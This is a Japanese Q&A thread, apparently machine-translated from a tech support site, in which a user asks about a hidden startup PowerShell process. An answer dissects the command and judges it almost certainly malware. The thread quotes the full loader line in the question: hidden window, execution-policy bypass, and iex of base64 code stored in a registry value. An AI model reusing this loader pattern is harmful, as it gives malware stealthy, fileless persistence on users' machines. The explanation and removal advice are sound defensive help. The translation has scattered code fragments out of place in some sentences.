
数日前、タスク マネージャーで powershell.exe プロセスが実行中であることに気付きました。msconfig にアクセスすると、非常に長いコマンドが表示されました。そのコマンドは次のとおりです。
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));
これは本当に奇妙です。というのも、今日、以前問題があったランダムなプロセス (これとは関係ないかもしれませんが、念のため言っておきます) が表示されました。これはウイルスで、Windows が言うように、安全でないドライバーを PC にダウンロードしようとしました。この PowerShell プロセスについて、どなたか教えていただけませんか? 起動時に開始され、常に実行されています。繰り返しますが、無知に聞こえなければいいのですが、これは通常の起動プロセスなのかもしれません。
答え1
これはほぼ間違いなく悪意のあるものです。
-noprofile
これを分解してみましょう。これは、ユーザーのカスタマイズなしで ( )、隠しウィンドウ ( ) でWindows PowerShell (正当で非常に便利なコマンド インタープリター) を呼び出し-windowstyle hidden
、PowerShell セッションがシステム ポリシーに関係なくスクリプトを実行できるようにします ( -executionpolicy bypass
)。次に、次のコマンドを実行します。
iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))
gp
は を意味しGet-ItemProperty
、レジストリキーの値を取得するために使用できます。ここで行っているのはまさにそれです。どうやら、SAJELFZIXHQTV
現在のユーザーSoftware\Classes
キーには というキーがあります。そのキーには という値がありADUXJH
、その中のデータが によってgp
取得されます。そのデータ (明らかに文字列) はベース64- バイト配列 ( FromBase64String
) にデコードされます。これらのバイトは ASCII テキスト ( ) として解釈されます。奇妙なことに、元のコードには余分なドットがあり、オブジェクトには と呼ばれるメンバーがないASCII.GetString
ため、エラーが発生するはずです。ただし、プロセスが残っていることを考えると、余分なドットは単なる転写エラーであると思われます。ASCII
Get
そのエラーがなければ、結果のテキストは PowerShell コマンド ( iex
) として呼び出されます。つまり、このコマンドは、レジストリからエンコードされたスクリプトを読み込んで実行するように設計されています。実行内容を正確に確認するには、上記の PowerShell コマンドをiex
、余分なドットを削除して PowerShell プロンプトにコピーし、実行します。呼び出されるコマンドが出力されます。これはほぼ確実に無害なコマンドではありません。
そのエントリの自動起動を停止するには、自動実行ツール。ただし、感染している可能性が高いため、マシンをより徹底的にクリーンアップすることをお勧めします。悪意のあるスパイウェア、マルウェア、アドウェア、ウイルス、トロイの木馬、またはルートキットを PC から削除するにはどうすればよいですか?